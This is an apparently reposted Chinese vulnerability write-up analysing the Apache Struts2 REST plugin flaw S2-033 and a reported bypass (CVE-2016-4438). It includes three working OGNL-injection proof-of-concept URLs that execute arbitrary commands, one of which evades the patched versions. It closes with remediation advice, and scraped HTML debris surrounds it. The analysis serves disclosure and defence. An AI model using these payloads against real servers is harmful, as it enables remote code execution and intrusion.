<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/16875

            0x00 前言


            剛過完兒童節回來發現struts2 出了S033,于是放下手中的棒棒糖趕緊分析一下。

            0x01 S2-033 漏洞回顧


            先來回顧一下S033

            根據官方描述

            很明顯有兩個關鍵點:第一個是REST Plugin,另一個是Dynamic Method Invocation is enabled.(也就是開啟動態方法執行),看到這里需要滿足兩個條件,感覺有點雞肋啊……

            直接下載回來源代碼調試,載入官方的演示包struts2-rest-showcase.war,我們先隨便訪問一個連接/struts2-rest-showcase/orders/1,很快定位到關鍵代碼

            Rest-plujin包里面的org.apache.struts2.rest.RestActionMapper

            首先要過第一關:dropExtension,這個方法會檢查后綴名

            其中extensions的值來自配置文件struts-plugin.xml,默認是:

            因此要想通過檢查我們需要構造一個.xhtml、.xml或者.json結尾的URL,或者沒有后綴直接是xx/xx,這就不能使用”.”這顯然是不行的。

            繼續往下調試:

            就是說如果剛才的鏈接里面出現了!就進入下面的流程直接得到一個!后面的值,然后沒有過濾直接放在了mapping里面

            構造鏈接:/struts2-rest-showcase281/orders/3/1!{xxx}

            在加上前面有一個allowDynamicMethodCalls的判斷,幾乎可以肯定漏洞點就是在這兒,繼續往下走,最終method會進入到,com.opensymphony.xwork2.DefaultActionInvocation類的invokeAction方法,如下圖

            我們看到methodName直接進入到了ognlUtil.getValue方法,對struts2歷史漏洞有點熟悉的同學都知道,這個就是最終導致代碼執行的地方。不多說,直接上POC:

            #!shell
            http://127.0.0.1:8888/struts2-rest-showcase/orders/3!%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,@[email protected]().exec(%23parameters.cmd),index.xhtml?cmd=calc
            

            0x02 繞過動態方法執行的限制


            但是如果真的只是這樣這個漏洞真的是比較雞肋的,因為動態方法在這里默認是不開啟的,那我們接著分析,有沒有可能不用開動態方法都可以執行任意代碼了,答案是肯定的。這個地方能不能代碼執行主要是這個地方的限制

            其實只要我們繼續往下走,會發現其他地方也會mapping.setMethod代碼如下

            其實無非就是:

            #!shell
            http://127.0.0.1:8888/struts2-rest-showcase/orders/3/methodName
            

            這樣構造就不需要動態方法執行了,上POC:

            #!shell
            http://127.0.0.1:8888/struts2-rest-showcase/orders/3/%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,@[email protected]().exec(%23parameters.cmd),index.xhtml?cmd=calc
            

            這個算其實已經算是一個0day了,這個可以繞過了動態方法執行的限制。但是這還不夠,于是我馬上找來了最新官方聲稱漏洞修復的2.3.281、2.3.20.3 and 2.3.24.3,同樣的代碼卻報錯了

            難道官方是這樣修復的,改了檢查方法執行的方法checkEnableEvalExpression,這個方法是在request.xx(x)這種代碼執行的方式后加入的判斷,主要是為了杜絕參數名上面的代碼執行,不過好在這個地方我們不需要這種方式執行代碼。經過研究我還是通過三目運算符繞過了這個檢測,POC:

            #!shell
            http://127.0.0.1:8888/struts2-rest-showcase281/orders/3/(%23mem=%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)[email protected]@getRuntime().exec(%23parameters.cmd):index.xhtml?cmd=calc
            

            6月3號的時候我給struts2官方提交了這個新的高危漏洞(CVE編號CVE-2016-4438),影響所有使用了REST插件的用戶,無需要開啟動態方法執行(不包括struts 2.5),此后的幾天網上不斷有關于s2-033的分析與繞過出來,但是他們大都錯誤的認為需要開啟動態方法執行才能觸發漏洞,其實并不需要。正如官方回復這個漏洞說的

            去掉了with ! operator when Dynamic Method Invocation is enabled這句話,因此這個漏洞影響更為廣泛。

            0x03 修復建議


            在上一個版本里面也是method出的問題,當時是加入了cleanupActionName方法進行過濾,如果這個地方要修復,也可以加入這個方法過濾一下即可。更新至官方struts 2.3.29

            在線檢測:http://www.pkav.net/tool/struts2/index.php

            參考:https://cwiki.apache.org/confluence/display/WW/S2-037

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线